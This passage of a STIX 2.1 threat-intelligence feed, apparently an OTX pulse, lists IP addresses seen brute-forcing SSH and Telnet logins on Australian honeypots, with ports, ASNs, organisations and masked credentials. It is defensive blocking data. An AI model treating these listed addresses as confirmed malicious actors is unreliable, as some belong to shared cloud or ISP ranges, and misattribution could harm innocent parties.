      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--58a0e852-3835-4d1c-8601-07c4329bad42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.97.212.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 17552. Organisation(s): True Online. Usernames observed (masked): f******r. Passwords observed (masked): f******r.",
      "id": "indicator--84d7d839-9be9-46aa-8fa5-da1e6e2897e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.121.31.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d144ef80-3a62-4456-a443-695382c8afed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.119.42.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--c9c4f3f8-25c6-4e08-9b1b-1c6411cacc6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '13.218.167.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 273039. Organisation(s): Tecnologia del Presente 18, C.A.",
      "id": "indicator--ccb92fc3-7574-4403-b45c-535f9005df94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.100.145.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 99. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): o**o, 3**********4, f******t, s*****1, s********n. Passwords observed (masked): 1****6, 3***********4, 3**********4, P**s, f******t.",
      "id": "indicator--c7ecef97-f471-48d0-a5b9-0d70b67e2e76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.244.206.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): u****u, g***t, r**t, t**t, 3**********4. Passwords observed (masked): 1******1, 1**********c, 3***********4, 3**********4, 5***1.",
      "id": "indicator--4bc90f72-cd15-405b-a645-3400f38c7607",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.138.85.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 264765. Organisation(s): VANET TELECOMUNICACIONES S.R.L..",
      "id": "indicator--576cf827-dfc6-44f0-a4e8-ff042b075793",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.196.226.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52928. Organisation(s): NORTETEL TELECOMUNICACOES LTDA.",
      "id": "indicator--1e18045a-9de5-4f17-8384-c63b35dc643e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.185.78.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 11556. Organisation(s): Cable & Wireless Panama.",
      "id": "indicator--9a6c4021-c7c7-4d03-9ebe-b1bc2f66733c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.178.213.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--31e3f8fb-50b9-4b20-969c-0508f1739ed9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.212.235.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 3132. Organisation(s): Red Cientifica Peruana. Usernames observed (masked): u****u. Passwords observed (masked): 1**********c, P**s.",
      "id": "indicator--c5b6056d-7667-4cc8-9fe2-b8e926273d38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.250.161.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LY. ASN(s): 328539. Organisation(s): Giga-Communication.",
      "id": "indicator--ecbef01b-774f-4ee7-9139-aa212ce23dae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.252.48.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--27771f54-55d7-405e-ba89-37432a83ad4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T01:15:10.000Z",
      "valid_until": "2026-06-07T01:15:08.000Z"
    },
    {
      "created": "2026-05-06T02:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 29465. Organisation(s): MTN NIGERIA Communication limited.",
      "id": "indicator--e2d2958e-aff9-4849-ad71-6e0597cb019f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T02:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.90.125.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:15:46.000Z",
      "valid_until": "2026-06-07T02:15:08.000Z"
    },
    {
      "created": "2026-05-06T02:15:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--dcdda0d0-02c9-4cb3-8a18-e61b5d2b5984",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T02:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.50.55.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:15:46.000Z",
      "valid_until": "2026-06-07T02:15:08.000Z"
    },
    {
      "created": "2026-05-06T02:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264351. Organisation(s): UNA TELECOMUNICACOES LTDA.",
      "id": "indicator--825ddb82-4f7d-4a9d-bbf3-8e29dc19a0a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T02:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.108.215.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:15:46.000Z",
      "valid_until": "2026-06-07T02:15:08.000Z"
    },
    {
      "created": "2026-05-06T02:15:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): c******r, 3**********4, a***n, ***, d****n. Passwords observed (masked): 1****1, 1**4, 1***5, 1********0, 1****4.",
      "id": "indicator--6a2a6b1d-0b5b-4571-9231-83cdea853734",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T02:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.19.243.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:15:46.000Z",
      "valid_until": "2026-06-07T02:15:08.000Z"
    },
    {
      "created": "2026-05-06T02:15:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 98. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): u****u, a***n, 3**********4, a*****a, f*****r. Passwords observed (masked): 1****6, 1***1, 1*****1, 1******1, 3***********4.",
      "id": "indicator--cbec986d-f8c1-46f0-b90e-5b1699ed74a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T02:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:15:46.000Z",
      "valid_until": "2026-06-07T02:15:08.000Z"
    },
    {
      "created": "2026-05-06T02:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--8566a14f-5b74-47b6-ac80-dbb16e3dfe43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T02:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.245.66.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:15:46.000Z",
      "valid_until": "2026-06-07T02:15:08.000Z"
    },
    {
      "created": "2026-05-06T02:15:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): u**r. Passwords observed (masked): u********#.",
      "id": "indicator--6c4c153c-d765-4e37-bfec-e0e3ae8fd37a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T02:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.98.56.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:15:46.000Z",
      "valid_until": "2026-06-07T02:15:08.000Z"
    },
    {
      "created": "2026-05-06T02:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 19182. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--36cd9cdc-173b-42bb-b854-f0d996378b3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T02:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.185.224.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:15:46.000Z",
      "valid_until": "2026-06-07T02:15:08.000Z"
    },
    {
      "created": "2026-05-06T02:15:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 16735. Organisation(s): ALGAR TELECOM SA. Usernames observed (masked): t****n. Passwords observed (masked): t****n.",
      "id": "indicator--e85276d7-6649-4c11-94d3-b913b45c0c86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T02:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.16.238.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:15:46.000Z",
      "valid_until": "2026-06-07T02:15:08.000Z"
    },
    {
      "created": "2026-05-06T02:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 11556. Organisation(s): Cable & Wireless Panama.",
      "id": "indicator--c5bc08d0-16c6-49d4-a42d-d2d7dafb7429",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T02:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.227.103.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:15:46.000Z",
      "valid_until": "2026-06-07T02:15:08.000Z"
    },
    {
      "created": "2026-05-06T02:15:46.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MK. ASN(s): 16333. Organisation(s): Company for communications services A1 Makedonija DOOEL Skopje.",
      "id": "indicator--d90cd49e-bd78-40af-beab-b41465ede587",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T02:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.16.87.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:15:46.000Z",
      "valid_until": "2026-06-07T02:15:08.000Z"
    },
    {
      "created": "2026-05-06T02:15:46.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: NL. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--ceeadcf2-7d46-4f78-9fba-37b63048db07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T02:15:46.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.151.182.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:15:46.000Z",
      "valid_until": "2026-06-07T02:15:08.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 136180. Organisation(s): Beijing Tiantexin Tech. Co., Ltd..",
      "id": "indicator--1867f3ff-45a8-4f1b-b749-edcd49221a9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.203.57.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--4459f31a-e653-4521-b8c5-85d1e68f661d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '153.205.12.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): m*****r, r**t. Passwords observed (masked): o******r, t**t.",
      "id": "indicator--9a6dbc46-122b-45f1-aa5f-4db962bc5cd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.94.206.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 10620. Organisation(s): Telmex Colombia S.A..",
      "id": "indicator--d186731f-d02e-40c2-82f5-c82eedd47bd7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.82.84.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 18881. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--34fd4e26-3b29-4165-b879-0ca570dc9699",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.112.35.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270712. Organisation(s): TOTAL FIBRA INTERNET EIRELI I.",
      "id": "indicator--7cebd748-4767-451b-843a-375fe1923f1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.127.174.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: EG. ASN(s): 24835. Organisation(s): RAYA Telecom - Egypt.",
      "id": "indicator--0bdc0658-3fc5-49ab-92e0-f206f5da887a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.204.71.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--407a13c2-37d3-4f4b-9a6a-738d71c439ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 38466. Organisation(s): U Mobile Sdn Bhd.",
      "id": "indicator--6b429aef-e1fe-4095-b65d-66e50f80f11c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.125.244.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
